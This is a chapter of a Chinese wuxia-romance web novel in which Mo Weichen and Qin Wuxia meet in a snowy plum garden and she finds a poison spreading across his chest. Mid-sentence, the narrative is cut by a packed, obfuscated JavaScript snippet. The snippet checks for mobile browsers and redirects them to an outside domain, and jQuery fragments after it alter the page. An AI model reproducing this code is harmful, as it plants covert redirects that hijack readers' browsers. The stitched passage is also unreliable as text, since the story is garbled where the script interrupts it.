第八十七章 梅园雪

作品:《闻道洛阳花正好

    梆子声敲过三更,墨微辰再也躺不住,烦躁地掀开棉被。


    月光透过窗棂将梅枝的影子投在枕上,枝桠摇晃如老人枯瘦的手。颜公出门时的背影在她脑海中挥之不去,她心里堵得慌,今夜不可能入睡了。


    她随手抓了件外袍便推门而出,赤足踩上青砖,寒意顺着脚心攀至心口,她却觉得平静。


    梅园浸在银白月色里,鄢陵蜡梅擎着琥珀般的花盏,冷香随积雪碎裂声浮动。七株梅树之后,梅影中立着道白色身影,雪蚕丝鹤氅搭在他臂弯,淌着银河似的流辉。


    “秦山主也来赏将死之梅?”


    她刻意加重尾音挑衅,却见秦无瑕抖开氅衣上前:“不及娘子雅趣,深夜抗冻赏梅。但...傲骨可不是这般用的。”


    氅衣裹上肩头的刹那,墨微辰已旋身避开,氅衣翩然翻卷,带起的风拂去他肩头落雪。


    “不劳费心!”她不肯穿,两人隔着梅枝僵持。


    老树轻颤,秦无瑕抬手接住坠落的梅瓣,顺手拨开挡在两人之间的花枝,无奈道:“别任性。身子是你自己的。有什么不满,直说。”


    “我能有什么不满,我不过是...”她盯着他的眼睛,扯过染着梅香的鹤氅,胡乱披上,却不慎勾散腰间系带。秦无瑕倏地逼近,带着霜雪气息的手指穿过丝绦,轻声责怪:“连衣裳也穿不好。”


    一整晚的悲伤和委屈因这句话倾泻而出。她理智上清楚地知道,每个人都有自己的追求和身不由己,那是颜公的选择,可她的心就是难以接受。


    毕竟那是一条命啊!而他又怎能放任颜公赴死?这一路百般布局,竟不为求生,而是求死?


    墨微辰挥开他的手,轻轻一推,竟将秦无瑕带得踉跄半步。她揪着衣带将他抵上梅树:“谁要你假慈悲!你明明连人的性命都不在乎...”


    “谁说我不在乎?”秦无瑕不愿被她误解,“我在乎的。只是天道如此...”


    “我不信天道!”墨微辰欺身逼近,泄露出自己也未察觉的对他的期待,“我只信事在人为,我信你可以——”


    话语被清脆的折断声打断,梅枝撑不住两人重量,震颤中惊落金花如雨。两人扑倒在银白的雪地上,白色大氅如鹤翼,温柔地将两人拢在一起。


    秦无瑕喉间溢出闷哼,嘴角涌出一线猩红,似一朵刺目的红梅在雪地上绽开。


    墨微辰望着血迹僵在原地,不曾想天下最有名的高手竟能被自己一推之力,伤得当场吐血。她福至心灵,骑坐起身,在雪地中按住他肩头,扯开了他的衣襟。


    玉色胸口上,蛛网般的黑纹已围着心脉织成一圈。


    “怎么回事?”墨微辰冻僵的手指抚上他滚烫的心口,“玉京飞雪不是已经封住...”


    冰冷的触感令秦无瑕身子轻颤,他下意识别开脸,思绪飞出去了。


    墨微辰浑然不觉他走神,急得氅衣滑落而不自知:“是玉京飞雪自封了内力,而你却在灞陵桥畔用内力为我驱寒,强行冲破了气海!这是...反噬?”


    她焦急神色一如那日在破庙中犯傻救他,可她这样犯傻却叫人心颤。秦无瑕思绪未至,手已主动紧握住她的:“其实我...”


    听到自己冷冽的音色,秦无瑕猛然惊醒。他顿住另一只差点抚上她腰间的左手,推开她坐起身,凝神系好自己的衣带,又替她将鹤氅重新裹紧肩头。他垂目不去看她的脸,镇定道:“不是反噬。”


    可他却不是真的镇定,口中不受控制地说出的许多本不该出口的话:“玉京飞雪封心脉如寒冰冻湖,不会漏出任何内力。这是另外一种...”


    话语戛然而止,只因墨微辰挪动间,从鹤氅覆盖之下漏出一只光脚。


    月色下,雪地里,这只半藏半露的脚晶莹剔透,泛着羊脂玉般光色,足尖又冻得通红,倒比鹤氅的流光更夺人眼了。


    清心寡欲的仙山之主忽然心猿意马,蓦然思念起替她驱寒时,从背后搂住她身子的柔软滋味。现在看来,她似乎不止是柔软...


    “那你为何呕血?”露出诱人姿态者毫不自知,凑上脸追问。


    “...肝郁化火,情志不舒。”秦无瑕面无表情地答她,以生平最笨拙的姿态站起身。他背过身便走:“每月总有那么几日,肝火会旺一些的,这也是天道自然...”


    他已胡话连篇,好在墨微辰也听不懂。但她挂心他伤势,随他站起,还不依不饶地绕到他身前。这一看不得了:“呀,你怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470610|169872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还流鼻血了?”


    “...”


    “我看看。”


    “别看。小意思。”


    “流血怎是小事!你刚才还教训我,身子是自己的...”


    她张开双臂拦他,像极了同他讨要一个面对面的拥抱。秦无瑕只觉按着鼻尖的一只右手不够用了,左手抬起,却并没帮忙,反倒是——


    “呀。”


    墨微辰光脚悄然离地,整个人被秦无瑕单手托起。他近在咫尺的脸在她身前下移,停在颈间,她的吐息能吹落他睫羽。墨微辰不自觉将呼吸屏住,手却按上他肩膀推拒:“你...快放手!”


    “嘘!”他说话时似往她颈间吹气,“娘子切莫乱动,否则我一用力,怕是会当场毒发。”


    他竟用自己的伤来钳制她。墨微辰指尖狠狠陷进他肩头衣料,语气却软了:“不想毒发,就让我自己走...”


    “鞋子都没有,你如何走?”他不放手,脚步故意在青石径踏雪踩出咯吱轻响,“老实待着。”


    光脚被他点明,墨微辰脸上一片绯红,只求这磋磨般的时光速速过去。偏他每一步都似刻意放缓,她愈发如坐针毡,蜷在氅衣里的足尖忽然无意蹭到他身体,托起她的手臂骤然收紧,又一线新血出现在他鼻尖。


    她想也不想,伸手捏住了他高挺的鼻子。


    “...”


    “合作...愉快?”墨微辰冲他笑了笑。


    含情目眼波流转,似嗔似羞,最终还是默许了她的“合作”。空出的右手忽地钻入鹤氅覆住她光足,掌心滚烫裹住冰肌,惊得她倒抽气:“你!”


    “合作愉快。”带着浓浓鼻音,秦无瑕笑了。


    房檐铜铃叮咚作响,秦无瑕踢开房门,将人放在榻沿,又将她腿脚推入棉被中:“快睡吧。明日还有大事。”


    他站起身时晃了晃,扶住床沿才站稳:“颜老这一程,他定希望你相送。至少,去看看咱们还有哪些‘事在人为’。”


    墨微辰仰着脸看他,轻柔应下。


    门扇合拢,修长身影消失在梅林中。她掀开棉被,足踝处残留的暖意似会灼人,烫得她脸颊发烧。她摸了摸脸,忽而拢紧身上鹤氅,像偷偷攥紧他的拥抱。